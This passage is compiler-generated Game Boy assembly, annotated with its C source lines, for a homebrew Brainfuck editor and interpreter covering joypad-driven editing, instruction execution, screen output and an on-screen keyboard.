;src/main.c:134: run_interpreter = false;
ld hl, #_run_interpreter
ld (hl), #0x00
;src/main.c:136: fastcpy(&bf_instr, &bf_hello_world, sizeof(bf_hello_world));
ld hl, #0x0075
push hl
ld hl, #_bf_hello_world
push hl
ld hl, #_bf_instr
push hl
call _fastcpy
add sp, #6
;src/main.c:137: bf_editor_redraw_instr();
call _bf_editor_redraw_instr
;src/main.c:139: set_obj(&cursor_obj, 0, 0, 0x7F, 0);
ld hl, #0x007f
push hl
ld l, #0x00
push hl
ld hl, #_cursor_obj
push hl
call _set_obj
add sp, #6
;src/main.c:142: while(!vblank_happened) halt();
00108$:
ld hl, #_vblank_happened
bit 0, (hl)
jr NZ,00110$
halt
jr 00108$
00110$:
;src/main.c:143: vblank_happened = false;
ld hl, #_vblank_happened
ld (hl), #0x00
;src/main.c:144: obj_slot = 0;
ld hl, #_obj_slot
ld (hl), #0x00
;src/main.c:146: read_joypad();
call _read_joypad
;src/main.c:148: if(run_interpreter)
ld hl, #_run_interpreter
bit 0, (hl)
jr Z,00113$
;src/main.c:149: for(uint8_t i = 0; run_interpreter && (i < BF_INSTR_PER_FRAME); i++) bf_interpreter();
ld c, #0x00
00144$:
ld hl, #_run_interpreter
bit 0, (hl)
jr Z,00114$
ld a, c
sub a, #0x0a
jr NC,00114$
push bc
call _bf_interpreter
pop bc
inc c
jr 00144$
00113$:
;src/main.c:151: bf_editor();
call _bf_editor
00114$:
;src/main.c:153: fill((void*)(((uint16_t)obj) + (obj_slot << 2)), 0xFF, sizeof(obj) - (obj_slot << 2));
ld hl, #_obj_slot
ld c, (hl)
ld b, #0x00
sla c
rl b
sla c
rl b
ld de, #0x00a0
ld a, e
sub a, c
ld e, a
ld a, d
sbc a, b
ldhl sp,#3
ld (hl-), a
ld (hl), e
dec hl
dec hl
ld (hl), #<(_obj)
inc hl
ld (hl), #>(_obj)
pop hl
push hl
add hl, bc
ld c, l
ld b, h
ldhl sp,#2
ld a, (hl+)
ld h, (hl)
ld l, a
push hl
ld a, #0xff
push af
inc sp
push bc
call _fill
add sp, #5
jp 00108$
;src/main.c:155: }
add sp, #8
ret
_bg_palette:
.db #0xe4 ; 228
_ob0_palette:
.db #0xe4 ; 228
_ob1_palette:
.db #0x27 ; 39
_bf_instruction_char:
.db #0x3e ; 62
.db #0x3c ; 60
.db #0x2b ; 43
.db #0x2d ; 45
.db #0x2e ; 46
.db #0x2c ; 44
.db #0x5b ; 91
.db #0x5d ; 93
.db #0x20 ; 32
_bf_hello_world:
.ascii "++++++++[>++++[>++>+++>+++>+<<<<-]>+>+>->>+[<]<-]>>.>---.+++"
.ascii "++++..+++.>>.<-.<.+++.------.--------.>>+.>++.[+]+[>,.<]"
.db 0x00
;src/main.c:157: void inc_bf_instr_p(){if(bf_instr_p < (sizeof(bf_instr) - 1)) bf_instr_p++;}
; ---------------------------------
; Function inc_bf_instr_p
; ---------------------------------
_inc_bf_instr_p::
ld hl, #_bf_instr_p
ld a, (hl)
sub a, #0xff
inc hl
ld a, (hl)
sbc a, #0x07
ret NC
ld hl, #_bf_instr_p
inc (hl)
ret NZ
inc hl
inc (hl)
ret
;src/main.c:158: void dec_bf_instr_p(){if(bf_instr_p > 0) bf_instr_p--;}
; ---------------------------------
; Function dec_bf_instr_p
; ---------------------------------
_dec_bf_instr_p::
ld hl, #_bf_instr_p + 1
ld a, (hl-)
or a, (hl)
ret Z
ld e, (hl)
inc hl
ld d, (hl)
dec de
dec hl
ld (hl), e
inc hl
ld (hl), d
ret
;src/main.c:159: void inc_bf_cell_p(){bf_cell_p = (bf_cell_p + 1) % (sizeof(bf_cell) - 1);}
; ---------------------------------
; Function inc_bf_cell_p
; ---------------------------------
_inc_bf_cell_p::
ld hl, #_bf_cell_p + 1
dec hl
ld c, (hl)
inc hl
ld b, (hl)
inc bc
ld hl, #0x07ff
push hl
push bc
call __moduint
add sp, #4
ld hl, #_bf_cell_p
ld (hl), e
inc hl
ld (hl), d
ret
;src/main.c:160: void dec_bf_cell_p(){bf_cell_p = (bf_cell_p - 1) % (sizeof(bf_cell) - 1);}
; ---------------------------------
; Function dec_bf_cell_p
; ---------------------------------
_dec_bf_cell_p::
ld hl, #_bf_cell_p + 1
dec hl
ld c, (hl)
inc hl
ld b, (hl)
dec bc
ld hl, #0x07ff
push hl
push bc
call __moduint
add sp, #4
ld hl, #_bf_cell_p
ld (hl), e
inc hl
ld (hl), d
ret
;src/main.c:161: void inc_bf_pc(){bf_pc = (bf_pc + 1) % (sizeof(bf_instr) - 1);}
; ---------------------------------
; Function inc_bf_pc
; ---------------------------------
_inc_bf_pc::
ld hl, #_bf_pc + 1
dec hl
ld c, (hl)
inc hl
ld b, (hl)
inc bc
ld hl, #0x07ff
push hl
push bc
call __moduint
add sp, #4
ld hl, #_bf_pc
ld (hl), e
inc hl
ld (hl), d
ret
;src/main.c:162: void dec_bf_pc(){bf_pc = (bf_pc - 1) % (sizeof(bf_instr) - 1);}
; ---------------------------------
; Function dec_bf_pc
; ---------------------------------
_dec_bf_pc::
ld hl, #_bf_pc + 1
dec hl
ld c, (hl)
inc hl
ld b, (hl)
dec bc
ld hl, #0x07ff
push hl
push bc
call __moduint
add sp, #4
ld hl, #_bf_pc
ld (hl), e
inc hl
ld (hl), d
ret
;src/main.c:164: void bf_editor(){
; ---------------------------------
; Function bf_editor
; ---------------------------------
_bf_editor::
add sp, #-3
;src/main.c:186: if(!(key_hold(KEY_A) || key_hold(KEY_B))){
ld a, #0x01
push af
inc sp
call _key_hold
inc sp
bit 0, e
jp NZ, 00149$
ld a, #0x02
push af
inc sp
call _key_hold
inc sp
bit 0, e
jp NZ, 00149$
;src/main.c:187: if(key_push(KEY_UP)) for(uint8_t i = 0; i < BF_EDITOR_W; i++) dec_bf_instr_p();
ld a, #0x40
push af
inc sp
call _key_push
inc sp
bit 0, e
jr Z,00119$
ld c, #0x00
00154$:
ld a, c
sub a, #0x14
jp NC, 00150$
push bc
call _dec_bf_instr_p
pop bc
inc c
jr 00154$
00119$:
;src/main.c:188: else if(key_push(KEY_DOWN)) for(uint8_t i = 0; i < BF_EDITOR_W; i++) inc_bf_instr_p();
ld a, #0x80
push af
inc sp
call _key_push
inc sp
bit 0, e
jr Z,00116$
ld c, #0x00
00157$:
ld a, c
sub a, #0x14
jp NC, 00150$
push bc
call _inc_bf_instr_p
pop bc
inc c
jr 00157$
00116$:
;src/main.c:189: else if(key_push(KEY_LEFT)) dec_bf_instr_p();
ld a, #0x20
push af
inc sp
call _key_push
inc sp
bit 0, e
jr Z,00113$
call _dec_bf_instr_p
jp 00150$
00113$:
;src/main.c:190: else if(key_push(KEY_RIGHT)) inc_bf_instr_p();
ld a, #0x10
push af
inc sp
call _key_push
inc sp
bit 0, e
jr Z,00110$
call _inc_bf_instr_p
jp 00150$
00110$:
;src/main.c:191: else if(key_push(KEY_START)){
ld a, #0x08
push af
inc sp
call _key_push
inc sp
bit 0, e
jr Z,00107$
;src/main.c:192: run_interpreter = true;
ld hl, #_run_interpreter
ld (hl), #0x01
;src/main.c:193: bf_pc = 0;
ld hl, #_bf_pc
ld (hl), #0x00
inc hl
ld (hl), #0x00
;src/main.c:194: bf_cell_p = 0;
ld hl, #_bf_cell_p
ld (hl), #0x00
inc hl
ld (hl), #0x00
;src/main.c:195: for(uint16_t i = 0;i < sizeof(bf_cell); i++) bf_cell[i] = 0;
ld bc, #0x0000
00160$:
ld a, b
sub a, #0x08
jr NC,00103$
ld hl, #_bf_cell
add hl, bc
inc sp
inc sp
push hl
pop hl
push hl
ld (hl), #0x00
inc bc
jr 00160$
00103$:
;src/main.c:196: bf_screen_out_x = 0;
ld hl, #_bf_screen_out_x
ld (hl), #0x00
;src/main.c:197: bf_screen_out_y = 0;
ld hl, #_bf_screen_out_y
ld (hl), #0x00
;src/main.c:198: bf_clear_screen();
call _bf_clear_screen
jp 00150$
00107$:
;src/main.c:200: else if(key_push(KEY_SELECT)){
ld a, #0x04
push af
inc sp
call _key_push
inc sp
bit 0, e
jp Z, 00150$
;src/main.c:201: bf_instr[bf_instr_p] = bf_instruction_char[BF_NOP];
ld a, #<(_bf_instr)
ld hl, #_bf_instr_p
add a, (hl)
ld c, a
ld a, #>(_bf_instr)
inc hl
adc a, (hl)
ld b, a
ld de, #_bf_instruction_char+8
ld a, (de)
ld (bc), a
;src/main.c:202: update_bg_map_tile_xy(bf_instr_p % BF_EDITOR_W, bf_instr_p / BF_EDITOR_W, bf_instruction_char[BF_NOP]);
ld a, (de)
ldhl sp,#2
ld (hl), a
ld hl, #0x0014
push hl
ld hl, #_bf_instr_p
ld a, (hl+)
ld h, (hl)
ld l, a
push hl
call __divuint
add sp, #4
ld c, e
push bc
ld hl, #0x0014
push hl
ld hl, #_bf_instr_p
ld a, (hl+)
ld h, (hl)
ld l, a
push hl
call __moduint
add sp, #4
pop bc
;src/gb.h:161: inline void update_bg_map_tile_xy(uint8_t _x, uint8_t _y, uint8_t _tile){update_bg_map_tile((_y << 5) + _x, _tile);}
ld b, #0x00
sla c
rl b
sla c
rl b
sla c
rl b
sla c
rl b
sla c
rl b
ldhl sp,#0
ld (hl), e
inc hl
ld (hl), #0x00
pop hl
push hl
add hl, bc
ld c, l
ld b, h
ldhl sp,#2
ld a, (hl)
push af
inc sp
push bc
call _update_bg_map_tile
add sp, #3
;src/main.c:203: dec_bf_instr_p();
call _dec_bf_instr_p
jp 00150$
00149$:
;src/main.c:206: else if(key_hold(KEY_A)){
ld a, #0x01
push af
inc sp
call _key_hold
inc sp
bit 0, e
jp Z, 00146$
;src/main.c:207: if(key_push(KEY_UP)){
ld a, #0x40
push af
inc sp
call _key_push
inc sp
bit 0, e
jr Z,00130$
;src/main.c:208: bf_editor_update_instr(BF_PLUS);
ld a, #0x02
push af
inc sp
call _bf_editor_update_instr
inc sp
jp 00150$
00130$:
;src/main.c:210: else if(key_push(KEY_DOWN)){
ld a, #0x80
push af
inc sp
call _key_push
inc sp
bit 0, e
jr Z,00127$
;src/main.c:211: bf_editor_update_instr(BF_MINUS);
ld a, #0x03
push af
inc sp
call _bf_editor_update_instr
inc sp
jp 00150$
00127$:
;src/main.c:213: else if(key_push(KEY_LEFT)){
ld a, #0x20
push af
inc sp
call _key_push
inc sp
bit 0, e
jr Z,00124$
;src/main.c:214: bf_editor_update_instr(BF_LEFT);
ld a, #0x01
push af
inc sp
call _bf_editor_update_instr
inc sp
jp 00150$
00124$:
;src/main.c:216: else if(key_push(KEY_RIGHT)){
ld a, #0x10
push af
inc sp
call _key_push
inc sp
bit 0, e
jp Z, 00150$
;src/main.c:217: bf_editor_update_instr(BF_RIGHT);
xor a, a
push af
inc sp
call _bf_editor_update_instr
inc sp
jp 00150$
00146$:
;src/main.c:220: else if(key_hold(KEY_B)){
ld a, #0x02
push af
inc sp
call _key_hold
inc sp
bit 0, e
jp Z, 00150$
;src/main.c:221: if(key_push(KEY_UP)){
ld a, #0x40
push af
inc sp
call _key_push
inc sp
bit 0, e
jr Z,00141$
;src/main.c:222: bf_editor_update_instr(BF_DOT);
ld a, #0x04
push af
inc sp
call _bf_editor_update_instr
inc sp
jp 00150$
00141$:
;src/main.c:224: else if(key_push(KEY_DOWN)){
ld a, #0x80
push af
inc sp
call _key_push
inc sp
bit 0, e
jr Z,00138$
;src/main.c:225: bf_editor_update_instr(BF_COMMA);
ld a, #0x05
push af
inc sp
call _bf_editor_update_instr
inc sp
jr 00150$
00138$:
;src/main.c:227: else if(key_push(KEY_LEFT)){
ld a, #0x20
push af
inc sp
call _key_push
inc sp
bit 0, e
jr Z,00135$
;src/main.c:228: bf_editor_update_instr(BF_BRACKET_LEFT);
ld a, #0x06
push af
inc sp
call _bf_editor_update_instr
inc sp
jr 00150$
00135$:
;src/main.c:230: else if(key_push(KEY_RIGHT)){
ld a, #0x10
push af
inc sp
call _key_push
inc sp
bit 0, e
jr Z,00150$
;src/main.c:231: bf_editor_update_instr(BF_BRACKET_RIGHT);
ld a, #0x07
push af
inc sp
call _bf_editor_update_instr
inc sp
00150$:
;src/main.c:235: set_obj(&cursor_obj, (bf_instr_p % BF_EDITOR_W) * 8, (bf_instr_p / BF_EDITOR_W) * 8, 0x7F, 0);
ld hl, #0x0014
push hl
ld hl, #_bf_instr_p
ld a, (hl+)
ld h, (hl)
ld l, a
push hl
call __divuint
add sp, #4
ld a, e
add a, a
add a, a
add a, a
ld b, a
push bc
ld hl, #0x0014
push hl
ld hl, #_bf_instr_p
ld a, (hl+)
ld h, (hl)
ld l, a
push hl
call __moduint
add sp, #4
pop bc
ld a, e
add a, a
add a, a
add a, a
ld d, a
ld hl, #0x007f
push hl
push bc
inc sp
push de
inc sp
ld hl, #_cursor_obj
push hl
call _set_obj
add sp, #6
;src/main.c:236: obj_slot = copy_to_oam_obj(&cursor_obj, obj_slot);
ld hl, #_obj_slot
ld a, (hl)
push af
inc sp
ld hl, #_cursor_obj
push hl
call _copy_to_oam_obj
add sp, #3
ld hl, #_obj_slot
ld (hl), e
;src/main.c:237: }
add sp, #3
ret
;src/main.c:239: void bf_editor_update_instr(uint8_t _instr){
; ---------------------------------
; Function bf_editor_update_instr
; ---------------------------------
_bf_editor_update_instr::
add sp, #-3
;src/main.c:240: bf_instr[bf_instr_p] = bf_instruction_char[_instr];
ld de, #_bf_instr
ld hl, #_bf_instr_p
ld a, (hl+)
ld h, (hl)
ld l, a
add hl, de
inc sp
inc sp
push hl
ld de, #_bf_instruction_char
ldhl sp,#5
ld l, (hl)
ld h, #0x00
add hl, de
ld c, l
ld b, h
ld a, (bc)
pop hl
push hl
ld (hl), a
;src/main.c:241: update_bg_map_tile_xy(bf_instr_p % BF_EDITOR_W, bf_instr_p / BF_EDITOR_W, bf_instruction_char[_instr]);
ld a, (bc)
ldhl sp,#2
ld (hl), a
ld hl, #0x0014
push hl
ld hl, #_bf_instr_p
ld a, (hl+)
ld h, (hl)
ld l, a
push hl
call __divuint
add sp, #4
ld c, e
push bc
ld hl, #0x0014
push hl
ld hl, #_bf_instr_p
ld a, (hl+)
ld h, (hl)
ld l, a
push hl
call __moduint
add sp, #4
pop bc
;src/gb.h:161: inline void update_bg_map_tile_xy(uint8_t _x, uint8_t _y, uint8_t _tile){update_bg_map_tile((_y << 5) + _x, _tile);}
ld b, #0x00
sla c
rl b
sla c
rl b
sla c
rl b
sla c
rl b
sla c
rl b
ldhl sp,#0
ld (hl), e
inc hl
ld (hl), #0x00
pop hl
push hl
add hl, bc
ld c, l
ld b, h
ldhl sp,#2
ld a, (hl)
push af
inc sp
push bc
call _update_bg_map_tile
add sp, #3
;src/main.c:242: bf_instr_p++;
ld hl, #_bf_instr_p
inc (hl)
jr NZ,00106$
inc hl
inc (hl)
00106$:
;src/main.c:243: }
add sp, #3
ret
;src/main.c:245: void bf_editor_redraw_instr(){
; ---------------------------------
; Function bf_editor_redraw_instr
; ---------------------------------
_bf_editor_redraw_instr::
add sp, #-7
;src/gb.h:135: inline void disable_display(){while((*reg(REG_LCD_STAT) & LCD_STAT_MODE_FLAG) != 1); *reg(REG_LCDC) &= ~LCDC_DISPLAY_ENABLE;}
00103$:
ld de, #0xff41
ld a,(de)
ld c, a
ld b, #0x00
ld a, c
and a, #0x03
ld c, a
ld b, #0x00
ld a, c
dec a
or a, b
jr NZ,00103$
ld de, #0xff40
ld a,(de)
res 7, a
ld hl, #0xff40
ld (hl), a
;src/main.c:247: for(uint8_t i = 0; i < BF_EDITOR_H; i++){
ldhl sp,#6
ld (hl), #0x00
00113$:
ldhl sp,#6
ld a, (hl)
sub a, #0x12
jp NC, 00102$
;src/main.c:248: for(uint8_t j = 0; j < BF_EDITOR_W; j++){
dec hl
ld (hl), #0x00
00110$:
ldhl sp,#5
ld a, (hl)
sub a, #0x14
jp NC, 00114$
;src/main.c:249: set_bg_map_tile_xy(j, i, bf_instr[(i * BF_EDITOR_W) + j]);
inc hl
ld a, (hl)
ldhl sp,#0
ld (hl+), a
ld (hl), #0x00
pop bc
push bc
ld l, c
ld h, b
add hl, hl
add hl, hl
add hl, bc
add hl, hl
add hl, hl
ld c, l
ld b, h
ldhl sp,#5
ld a, (hl)
ldhl sp,#2
ld (hl+), a
ld (hl), #0x00
dec hl
ld a, (hl+)
ld h, (hl)
ld l, a
add hl, bc
ld c, l
ld b, h
ld hl, #_bf_instr
add hl, bc
ld c, l
ld b, h
ld a, (bc)
ldhl sp,#4
ld (hl), a
;src/gb.h:159: inline void set_bg_map_tile_xy(uint8_t _x, uint8_t _y, uint8_t _tile){set_bg_map_tile((_y << 5) + _x, _tile);}
pop bc
push bc
sla c
rl b
sla c
rl b
sla c
rl b
sla c
rl b
sla c
rl b
dec hl
dec hl
ld a, (hl+)
ld h, (hl)
ld l, a
add hl, bc
ld c, l
ld b, h
ldhl sp,#4
ld a, (hl)
push af
inc sp
push bc
call _set_bg_map_tile
add sp, #3
;src/main.c:248: for(uint8_t j = 0; j < BF_EDITOR_W; j++){
ldhl sp,#5
inc (hl)
jp 00110$
00114$:
;src/main.c:247: for(uint8_t i = 0; i < BF_EDITOR_H; i++){
ldhl sp,#6
inc (hl)
jp 00113$
00102$:
;src/gb.h:134: inline void enable_display(){*reg(REG_LCDC) |= LCDC_DISPLAY_ENABLE;}
ld de, #0xff40
ld a,(de)
ld c, a
ld b, #0x00
set 7, c
ld hl, #0xff40
ld (hl), c
;src/main.c:252: enable_display();
;src/main.c:253: }
add sp, #7
ret
;src/main.c:255: void bf_clear_screen(){
; ---------------------------------
; Function bf_clear_screen
; ---------------------------------
_bf_clear_screen::
add sp, #-4
;src/gb.h:135: inline void disable_display(){while((*reg(REG_LCD_STAT) & LCD_STAT_MODE_FLAG) != 1); *reg(REG_LCDC) &= ~LCDC_DISPLAY_ENABLE;}
00103$:
ld de, #0xff41
ld a,(de)
ld c, a
ld b, #0x00
ld a, c
and a, #0x03
ld c, a
ld b, #0x00
ld a, c
dec a
or a, b
jr NZ,00103$
ld de, #0xff40
ld a,(de)
res 7, a
ld hl, #0xff40
ld (hl), a
;src/main.c:257: for(uint8_t i = 0; i < BF_EDITOR_H; i++){
ldhl sp,#3
ld (hl), #0x00
00113$:
ldhl sp,#3
ld a, (hl)
sub a, #0x12
jp NC, 00102$
;src/main.c:258: for(uint8_t j = 0; j < BF_EDITOR_W; j++){
dec hl
ld (hl), #0x00
00110$:
ldhl sp,#2
ld a, (hl)
sub a, #0x14
jp NC, 00114$
;src/gb.h:159: inline void set_bg_map_tile_xy(uint8_t _x, uint8_t _y, uint8_t _tile){set_bg_map_tile((_y << 5) + _x, _tile);}
inc hl
ld c, (hl)
ld b, #0x00
sla c
rl b
sla c
rl b
sla c
rl b
sla c
rl b
sla c
rl b
dec hl
ld a, (hl-)
dec hl
ld (hl+), a
ld (hl), #0x00
pop hl
push hl
add hl, bc
ld c, l
ld b, h
ld a, #0x20
push af
inc sp
push bc
call _set_bg_map_tile
add sp, #3
;src/main.c:258: for(uint8_t j = 0; j < BF_EDITOR_W; j++){
ldhl sp,#2
inc (hl)
jp 00110$
00114$:
;src/main.c:257: for(uint8_t i = 0; i < BF_EDITOR_H; i++){
ldhl sp,#3
inc (hl)
jp 00113$
00102$:
;src/gb.h:134: inline void enable_display(){*reg(REG_LCDC) |= LCDC_DISPLAY_ENABLE;}
ld de, #0xff40
ld a,(de)
ld c, a
ld b, #0x00
set 7, c
ld hl, #0xff40
ld (hl), c
;src/main.c:262: enable_display();
;src/main.c:263: }
add sp, #4
ret
;src/main.c:265: void bf_interpreter(){
; ---------------------------------
; Function bf_interpreter
; ---------------------------------
_bf_interpreter::
add sp, #-3
;src/main.c:266: if(key_push(KEY_START)){
ld a, #0x08
push af
inc sp
call _key_push
inc sp
ld c, e
bit 0, c
jr Z,00134$
;src/main.c:267: bf_editor_redraw_instr();
call _bf_editor_redraw_instr
;src/main.c:268: run_interpreter = false;
ld hl, #_run_interpreter
ld (hl), #0x00
jp 00145$
00134$:
;src/main.c:271: switch(bf_instr[bf_pc]){
ld a, #<(_bf_instr)
ld hl, #_bf_pc
add a, (hl)
ld c, a
ld a, #>(_bf_instr)
inc hl
adc a, (hl)
ld b, a
ld a, (bc)
cp a, #0x20
jp Z,00131$
cp a, #0x2b
jr Z,00103$
cp a, #0x2c
jp Z,00110$
cp a, #0x2d
jr Z,00104$
cp a, #0x2e
jp Z,00105$
cp a, #0x3c
jr Z,00102$
cp a, #0x3e
jr Z,00101$
cp a, #0x5b
jp Z,00111$
sub a, #0x5d
jp Z,00120$
jp 00131$
;src/main.c:272: case '>':
00101$:
;src/main.c:273: inc_bf_cell_p();
call _inc_bf_cell_p
;src/main.c:274: inc_bf_pc();
call _inc_bf_pc
;src/main.c:275: break;
jp 00145$
;src/main.c:276: case '<':
00102$:
;src/main.c:277: dec_bf_cell_p();
call _dec_bf_cell_p
;src/main.c:278: inc_bf_pc();
call _inc_bf_pc
;src/main.c:279: break;
jp 00145$
;src/main.c:280: case '+':
00103$:
;src/main.c:281: bf_cell[bf_cell_p]++;
ld a, #<(_bf_cell)
ld hl, #_bf_cell_p
add a, (hl)
ld c, a
ld a, #>(_bf_cell)
inc hl
adc a, (hl)
ld b, a
ld a, (bc)
inc a
ld (bc), a
;src/main.c:282: inc_bf_pc();
call _inc_bf_pc
;src/main.c:283: break;
jp 00145$
;src/main.c:284: case '-':
00104$:
;src/main.c:285: bf_cell[bf_cell_p]--;
ld a, #<(_bf_cell)
ld hl, #_bf_cell_p
add a, (hl)
ld c, a
ld a, #>(_bf_cell)
inc hl
adc a, (hl)
ld b, a
ld a, (bc)
dec a
ld (bc), a
;src/main.c:286: inc_bf_pc();
call _inc_bf_pc
;src/main.c:287: break;
jp 00145$
;src/main.c:288: case '.':
00105$:
;src/main.c:289: update_bg_map_tile_xy(bf_screen_out_x, bf_screen_out_y, bf_cell[bf_cell_p]);
ld a, #<(_bf_cell)
ld hl, #_bf_cell_p
add a, (hl)
ld c, a
ld a, #>(_bf_cell)
inc hl
adc a, (hl)
ld b, a
ld a, (bc)
ldhl sp,#2
ld (hl), a
ld hl, #_bf_screen_out_y
ld c, (hl)
ld hl, #_bf_screen_out_x
ld e, (hl)
;src/gb.h:161: inline void update_bg_map_tile_xy(uint8_t _x, uint8_t _y, uint8_t _tile){update_bg_map_tile((_y << 5) + _x, _tile);}
ld b, #0x00
sla c
rl b
sla c
rl b
sla c
rl b
sla c
rl b
sla c
rl b
ldhl sp,#0
ld (hl), e
inc hl
ld (hl), #0x00
pop hl
push hl
add hl, bc
ld c, l
ld b, h
ldhl sp,#2
ld a, (hl)
push af
inc sp
push bc
call _update_bg_map_tile
add sp, #3
;src/main.c:290: bf_screen_out_x++;
ld hl, #_bf_screen_out_x
inc (hl)
;src/main.c:291: if(bf_screen_out_x >= BF_EDITOR_W){
ld a, (hl)
sub a, #0x14
jr C,00109$
;src/main.c:292: bf_screen_out_x = 0;
ld (hl), #0x00
;src/main.c:293: bf_screen_out_y++;
ld hl, #_bf_screen_out_y
inc (hl)
;src/main.c:294: if(bf_screen_out_y >= BF_EDITOR_H){
ld a, (hl)
sub a, #0x12
jr C,00109$
;src/main.c:295: bf_screen_out_x = 0;
ld hl, #_bf_screen_out_x
ld (hl), #0x00
00109$:
;src/main.c:298: inc_bf_pc();
call _inc_bf_pc
;src/main.c:299: break;
jp 00145$
;src/main.c:300: case ',':
00110$:
;src/main.c:301: bf_cell[bf_cell_p] = bf_get_char();
ld a, #<(_bf_cell)
ld hl, #_bf_cell_p
add a, (hl)
ld c, a
ld a, #>(_bf_cell)
inc hl
adc a, (hl)
ld b, a
push bc
call _bf_get_char
ld a, e
pop bc
ld (bc), a
;src/main.c:302: inc_bf_pc();
call _inc_bf_pc
;src/main.c:303: break;
jp 00145$
;src/main.c:304: case '[':
00111$:
;src/main.c:305: inc_bf_pc();
call _inc_bf_pc
;src/main.c:306: if(bf_cell[bf_cell_p] == 0){
ld a, #<(_bf_cell)
ld hl, #_bf_cell_p
add a, (hl)
ld c, a
ld a, #>(_bf_cell)
inc hl
adc a, (hl)
ld b, a
ld a, (bc)
or a, a
jp NZ, 00145$
;src/main.c:307: for(uint16_t _bracket_c = 1; (_bracket_c > 0) && (bf_pc < sizeof(bf_instr)); inc_bf_pc()){
ld bc, #0x0001
00139$:
ld a, b
or a, c
jp Z, 00145$
ld hl, #_bf_pc
ld a, (hl)
sub a, #0x00
inc hl
ld a, (hl)
sbc a, #0x08
jp NC, 00145$
;src/main.c:308: if(bf_instr[bf_pc] == '[') _bracket_c++;
ld de, #_bf_instr
ld hl, #_bf_pc
ld a, (hl+)
ld h, (hl)
ld l, a
add hl, de
inc sp
inc sp
push hl
pop de
push de
ld a,(de)
cp a, #0x5b
jr NZ,00115$
inc bc
jr 00140$
00115$:
;src/main.c:309: else if(bf_instr[bf_pc] == ']') _bracket_c--;
sub a, #0x5d
jr NZ,00140$
dec bc
00140$:
;src/main.c:307: for(uint16_t _bracket_c = 1; (_bracket_c > 0) && (bf_pc < sizeof(bf_instr)); inc_bf_pc()){
push bc
call _inc_bf_pc
pop bc
jp 00139$
;src/main.c:313: case ']':
00120$:
;src/main.c:314: if(bf_cell[bf_cell_p] == 0) inc_bf_pc();
ld a, #<(_bf_cell)
ld hl, #_bf_cell_p
add a, (hl)
ld c, a
ld a, #>(_bf_cell)
inc hl
adc a, (hl)
ld b, a
ld a, (bc)
or a, a
jr NZ,00128$
call _inc_bf_pc
jp 00145$
00128$:
;src/main.c:316: dec_bf_pc();
call _dec_bf_pc
;src/main.c:317: for(uint16_t _bracket_c = 1; (_bracket_c > 0) && (bf_pc < sizeof(bf_instr)); dec_bf_pc()){
ld bc, #0x0001
00143$:
ld a, b
or a, c
jp Z, 00126$
ld hl, #_bf_pc
ld a, (hl)
sub a, #0x00
inc hl
ld a, (hl)
sbc a, #0x08
jr NC,00126$
;src/main.c:318: if(bf_instr[bf_pc] == ']') _bracket_c++;
ld de, #_bf_instr
ld hl, #_bf_pc
ld a, (hl+)
ld h, (hl)
ld l, a
add hl, de
inc sp
inc sp
push hl
pop de
push de
ld a,(de)
cp a, #0x5d
jr NZ,00124$
inc bc
jr 00144$
00124$:
;src/main.c:319: else if(bf_instr[bf_pc] == '[') _bracket_c--;
sub a, #0x5b
jr NZ,00144$
dec bc
00144$:
;src/main.c:317: for(uint16_t _bracket_c = 1; (_bracket_c > 0) && (bf_pc < sizeof(bf_instr)); dec_bf_pc()){
push bc
call _dec_bf_pc
pop bc
jp 00143$
00126$:
;src/main.c:321: inc_bf_pc();
call _inc_bf_pc
;src/main.c:322: inc_bf_pc();
call _inc_bf_pc
;src/main.c:324: break;
jr 00145$
;src/main.c:326: default:
00131$:
;src/main.c:328: inc_bf_pc();
call _inc_bf_pc
;src/main.c:330: }
00145$:
;src/main.c:332: }
add sp, #3
ret
;src/main.c:334: uint8_t bf_get_char(){
; ---------------------------------
; Function bf_get_char
; ---------------------------------
_bf_get_char::
add sp, #-6
;src/main.c:337: for(uint8_t i = 0; i <= ((BF_KEYBOARD_Y + BF_KEYBOARD_H) * 8); i += 4){
ld c, #0x00
00139$:
ld a, #0x30
sub a, c
jr C,00104$
;src/main.c:338: set_win_offset(0, 144 - i);
ld b, c
ld a, #0x90
sub a, b
ld hl, #_offset_y
ld (hl), a
;src/gb.h:174: inline void set_win_offset(uint8_t _ox, uint8_t _oy){offset_x = _ox + 7; offset_y = _oy;}
ld hl, #_offset_x
ld (hl), #0x07
;src/main.c:339: while(!vblank_happened) halt();
00101$:
ld hl, #_vblank_happened
bit 0, (hl)
jr NZ,00103$
halt
jr 00101$
00103$:
;src/main.c:340: vblank_happened = false;
ld hl, #_vblank_happened
ld (hl), #0x00
;src/main.c:337: for(uint8_t i = 0; i <= ((BF_KEYBOARD_Y + BF_KEYBOARD_H) * 8); i += 4){
inc c
inc c
inc c
inc c
jr 00139$
00104$:
;src/gb.h:174: inline void set_win_offset(uint8_t _ox, uint8_t _oy){offset_x = _ox + 7; offset_y = _oy;}
ld hl, #_offset_x
ld (hl), #0x07
ld hl, #_offset_y
ld (hl), #0x60
;src/main.c:344: _cx = 0; _cy = 0; _char = 0;
ldhl sp,#5
ld (hl), #0x00
dec hl
ld (hl), #0x00
;src/main.c:346: while(!vblank_happened) halt();
00105$:
ld hl, #_vblank_happened
bit 0, (hl)
jr NZ,00107$
halt
jr 00105$
00107$:
;src/main.c:347: vblank_happened = false;
ld hl, #_vblank_happened
ld (hl), #0x00
;src/main.c:348: obj_slot = 0;
ld hl, #_obj_slot
ld (hl), #0x00
;src/main.c:349: read_joypad();
call _read_joypad
;src/main.c:351: if(key_push(KEY_UP)) if(_cy > 0) _cy--;
ld a, #0x40
push af
inc sp
call _key_push
inc sp
bit 0, e
jr Z,00111$
ldhl sp,#4
ld a, (hl)
or a, a
jr Z,00111$
dec (hl)
00111$:
;src/main.c:352: if(key_push(KEY_DOWN)) if((_cy + BF_KEYBOARD_Y) < (BF_KEYBOARD_H - 1)) _cy++;
ld a, #0x80
push af
inc sp
call _key_push
inc sp
bit 0, e
jr Z,00115$
ldhl sp,#4
ld c, (hl)
ld b, #0x00
ld a, c
sub a, #0x05
ld a, b
rla
ccf
rra
sbc a, #0x80
jr NC,00115$
inc (hl)
00115$:
;src/main.c:353: if(key_push(KEY_LEFT)) if(_cx > 0) _cx--;
ld a, #0x20
push af
inc sp
call _key_push
inc sp
bit 0, e
jr Z,00119$
ldhl sp,#5
ld a, (hl)
or a, a
jr Z,00119$
dec (hl)
00119$:
;src/main.c:354: if(key_push(KEY_RIGHT)) if((_cx + BF_KEYBOARD_X) < BF_KEYBOARD_W) _cx++;
ld a, #0x10
push af
inc sp
call _key_push
inc sp
bit 0, e
jr Z,00123$
ldhl sp,#5
ld c, (hl)
ld b, #0x00
inc bc
